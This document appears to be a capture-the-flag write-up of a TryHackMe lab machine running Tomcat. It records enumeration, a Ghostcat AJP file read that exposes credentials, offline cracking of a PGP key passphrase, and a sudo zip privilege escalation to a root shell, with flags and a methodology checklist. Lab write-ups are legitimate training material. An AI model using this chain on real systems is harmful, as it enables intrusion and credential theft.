10.10.221.65

Enumeration

TCP

NMAP

```
nmap -p22,53,8009,8080 10.10.221.65 -A -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-04 16:08 EDT
Nmap scan report for 10.10.221.65
Host is up (0.41s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   199.02 ms 10.4.0.1
2   ... 3
4   453.57 ms 10.10.221.65

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.86 seconds
```

UDP

Web Services

change host header to check for virtual host routing

Nikto

gobuster

```
gobuster dir -u "http://10.10.221.65:8080" -w WordLists/dirb/
common.txt                                                1 ×
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.221.65:8080
[+] Threads:        10
[+] Wordlist:       WordLists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/04/04 16:09:05 Starting gobuster
===============================================================
/docs (Status: 302)
/examples (Status: 302)
/favicon.ico (Status: 200)
/host-manager (Status: 302)
/manager (Status: 302)
===============================================================
2021/04/04 16:12:39 Finished
===============================================================
```

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: Tomcat
Vulnerability Type: Sensitive Info Leak
Exploit POC: https://github.com/00theway/Ghostcat-CNVD-2020-10487
Description:

Discovery of Vulnerability

Nmap showed a 8009 port which runs a AJP service

THis narrowed down our attack surface and we know which vector to

Exploit Code Used

https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py

Proof\Local.txt File

we get credentials on web.xml

python3 ghostcat.py "http://10.10.221.65:8080" 8009 /WEB-INF/web.xml read

```
      _    _          __ _                      _
     /_\  (_)_ __    / _\ |__   ___   ___ | |_ ___ _ __
    //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
   /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |
   \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|
       |__/|_|
                                        00theway,just for test


[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
```

```
    http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>
```

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

```
#1-First get the files credential.pgp and tryhackme.asc
#2-then convert the private key to hash using gpg2john
#3- password is alexandru
#4-Now use the passphrase with gpg program to open the credential.pgp file
#5- We get the credentials for user merlin
#6-Now sudo -l showed  zip as sudo without passwd


gpg2john tryhackme.asc > tomghosthash                                                    1 ×

File tryhackme.asc

┌──(root💀kali)-[~]
└─# cat tomghosthash
tryhackme:-
$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f560876
<stuxnet@tryhackme.com>::tryhackme.asc

┌──(root💀kali)-[~]
└─# john tomghosthash --wordlist=WordLists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192
13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru        (tryhackme)
1g 0:00:00:00 DONE (2021-04-04 17:43) 9.090g/s 9745p/s 9745c/s 9745C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

##GPG usage to open pgp file

```
gpg --import tryhackme.asc                                                    130 ×

gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

┌──(root💀kali)-[~]
└─# gpg --decrypt credential.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
```

Priv Esc

##Abused suid zip binary to get a root shell using deflation

```
sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
merlin@ubuntu:/home/skyfuck$ TF=$(mktemp -u)
merlin@ubuntu:/home/skyfuck$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami
root
# cd /root
# cat r
cat: r: No such file or directory
# cat root.txt
THM{Z1P_1S_FAKE}
```

Goodies

Hashes

tryhackme.asc Hash

```
$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f560870
```

<stuxnet@tryhackme.com>::tryhackme.asc
this hash password is alexandru

Passwords

1- SSH credentials found on a hidden config file on web app
2- skyfuck:8730281lkjlkjdqlksalks
3- alexandru is the password for credentials.pgp file

merlin credenials
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Proof\Flags\Other

##User Flag

THM{GhostCat_1s_so_cr4sy}

##Root Flag

THM{Z1P_1S_FAKE}

Software Versions

Software Versions

Tomcat 9.0.30

Potential Exploits
cve-2020-1938

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.0/24
- ☐ nmap -sL 10.11.1.0/24
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open *ipaddress*
- ☐ nmap -sS -A -sV -O -p- *ipaddress* -oA nmap
- ☐ nmap -sU *ipaddress*
- ☐ searchsploit -x --nmap nmap.xml
- ☐ dig axfr @ipaddress dc

Service Scanning

WebApp

- ☐ Nikto
- ☐ gobuster -u http://*ipaddress* -w /usr/share/wordlists/common.txt -s 200,204,301,302,307,403 -r -t 15 -o gobuster.txt
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the software

Exploitation

- ☐ Gather Version Numbers
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py
- ☐ find / -perm -4000 2>/dev/null | xargs ls -la

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book